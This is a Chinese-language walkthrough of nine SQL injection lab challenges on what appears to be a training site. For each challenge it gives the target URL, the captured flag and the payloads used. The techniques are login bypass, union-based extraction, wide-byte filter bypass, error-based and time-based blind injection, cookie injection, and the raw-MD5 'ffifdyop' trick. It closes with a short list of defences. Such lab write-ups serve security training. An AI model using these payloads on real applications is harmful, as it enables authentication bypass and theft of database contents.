SQL注入实战教学文档
1. 最简单的SQL注入
目标URL: http://lab1.xseclab.com/sqli2_3265b4852c13383560327d1c31550b60/index.php
攻击步骤:
- 查看源代码,发现登录名为admin
- 在登录名输入框中注入:
admin' or '1'='1 - 密码任意填写
- 填写正确的验证码
- 点击登录
原理: 构造永真条件绕过认证,SQL语句变为:
SELECT * FROM users WHERE username='admin' OR '1'='1' AND password='任意密码'
获取的flag: iamflagsafsfskdf11223
2. 熟悉注入环境
目标URL: http://lab1.xseclab.com/sqli3_6590b07a0a39c8c27932b92b0e151456/index.php
攻击步骤:
2.1 确认注入点
?id=1 and 1=1返回正常?id=1 and 1=2返回出错 → 确认存在SQL注入
2.2 判断字段数
?id=1 order by 3正常 → 3个字段
2.3 确定回显点
?id=-1 union select 1,2,3→ 显示位为2,3
2.4 信息收集
- 数据库名:
?id=-1 union select 1,2,database()→mydbs - 数据表名:
?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()→sae_user_sqli3 - 字段名:
?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=sae_user_sqli3→id,title,content - 字段内容:
?id=-1 union select 1,2,content from sae_user_sqli3
获取的flag: HKGGflagdfs56757fsdv
3. 防注入绕过(宽字节注入)
目标URL: http://lab1.xseclab.com/sqli4_9b5a929e00e122784e44eddf2b6aa1a0/index.php
攻击步骤:
3.1 确认注入点
- 单引号被过滤 → 使用宽字节注入:
?id=1%df'成功报错
3.2 构造注入语句
?id=1%df%27%20or%201=1%23→ 正常回显?id=1%df%27%20or%201=1%20limit%202,1%23→ 获取flag
替代方法:
- 确定字段数:
?id=1%df' order by 3 %23 - 确定显示位:
?id=1%df' union select 1,2,3 %23 - 获取数据库:
?id=1%df' union select 1,2,database() %23 - 获取表名:
?id=1%df' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() %23 - 获取列名: 表名转为16进制(0x7361655f757365725f73716c6934)
- 获取数据:
?id=1%df' union select 1,2,group_concat(title_1,content_1) from sae_user_sqli4 %23
获取的flag: Hsaagdfs56sdf7fsdv
4. 无回显注入
目标URL: http://lab1.xseclab.com/sqli5_5ba0bba6a6d1b30b956843f757889552/index.php?start=0&num=1
攻击步骤:
- 使用报错注入技术
- 构造payload:
- 数据库名:
?start=0 procedure analyse(extractvalue(rand(),concat(0x3a,(select database()))),1)%23&num=1 - 表名:
?start=0 procedure analyse(extractvalue(rand(),concat(0x3a,(select group_concat(table_name)from information_schema.tables where table_schema=database()))),1)%23&num=1 - 列名: 表名转为16进制(0x75736572)
- 获取flag:
?start=0 procedure analyse(extractvalue(rand(),concat(0x3a,(select password from mydbs.user limit 2,1))),1)%23&num=1
- 数据库名:
获取的flag: myflagishere
5. 图片后缀前注入
目标URL: http://lab1.xseclab.com/sqli6_f37a4a60a4a234cd309ce48ce45b9b00/images/dog1.jpg
攻击步骤:
- 使用Burp Suite抓包
- 构造payload:
- 注入点确认:
dog1%df'.jpg - 列数判断:
dog1%df' order by 4 %23.jpg→ 4列 - 显示位:
dog1%df' union select 1,2,3,4%23.jpg→ 3 - 数据库名:
dog1%df' union select 1,2,database(),4 %23.jpg→mydbs - 表名:
dog1%df' union select 1,2,group_concat(table_name),4 %23.jpg→article,pic - 列名:
dog1%df' union select 1,2,group_concat(column_name),4 %23.jpg→id,picname,data,text - 获取flag:
dog1%df' union select 1,2,picname,4 from pic limit 2,1 %23.jpg
- 注入点确认:
最终flag: 访问 flagishere_askldjfklasjdfl.jpg 得到 IamflagIloveyou!
6. 报错注入
目标URL: http://lab1.xseclab.com/sqli7_b95cf5af3a5fbeca02564bffc63e92e5/index.php?username=admin
攻击步骤:
- 数据库名:
?username=admin' or updatexml(1,concat(0x7e,(select database())),1)-- q→mydbs - 表名:
?username=admin' or updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())),1)-- q→log,motto,user - 列名:
?username=admin' or updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='motto')),1)-- q→id,username,motto - 获取flag:
?username=admin' or updatexml(1,concat(0x7e,(select motto from motto limit 3,1)),1)-- q→notfound!
7. 盲注
目标URL: http://lab1.xseclab.com/sqli7_b95cf5af3a5fbeca02564bffc63e92e5/blind.php
攻击步骤:
- 判断数据库长度:
' and sleep(if((length(database())=5),0,3))-- q - 逐字符判断数据库名:
' and if(substr(database(),1,1)='m',0,sleep(3))-- q - 表名判断:
' and if(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)='l',0,sleep(3))-- q - 列名判断:
' and if(substr((select column_name from information_schema.columns where table_schema=database() and table_name='motto' limit 0,1),1,1)='i',0,sleep(3))-- q - 数据判断:
' and if(substr((select id from motto limit 0,1),1,1)='0',0,sleep(3))-- q
获取的flag: notfound!
8. Cookie注入
目标URL: http://lab1.xseclab.com/sqli8_f4af04563c22b18b51d9142ab0bfb13d/index.php?id=1
攻击步骤:
- 使用Burp Suite修改Cookie
- 确认注入点:
id=1 and 1=1vsid=1 and 1=2 - 字段数:
id=1 order by 3→ 3 - 显示位:
id=1 union select 1,2,3→ 2,3 - 数据库名:
id=1 union select 1,2,database()→mydbs - 表名:
id=1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()→sae_manager_sqli8,sae_user,sqli8 - 列名:
id=1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='sae_manager_sqli8'→id,username,password - 获取flag:
id=1 union select 1,2,password from sae_manager_sqli8
获取的flag: IamFlagCookieInject!
9. MD5加密后的SQL注入
目标URL: http://lab1.xseclab.com/code1_9f44bab1964d2f959cf509763980e156/
关键代码:
"select * from 'user' where userid=".intval($_GET['userid'])." and password='".md5($_GET['pwd'], true) ."'"
攻击原理:
md5(str,true)返回16字符二进制格式- 特定字符串如
ffifdyop的MD5值包含'or'结构 - 构造SQL:
select * from user where userid='1' and pwd = ''or'6É]™é!r,ùíb'
payload: ?userid=1&pwd=ffifdyop
获取的flag: FsdLAG67a6dajsdklsdf
总结
本教程详细介绍了多种SQL注入技术,包括:
- 基本联合查询注入
- 宽字节注入绕过过滤
- 报错注入技术
- 盲注技术(基于时间)
- Cookie注入
- MD5加密后的特殊注入
- 图片文件中的注入
每种技术都有其适用场景,安全测试人员应根据实际环境选择合适的注入方法。防御措施应包括参数化查询、输入验证、WAF部署等多层防护。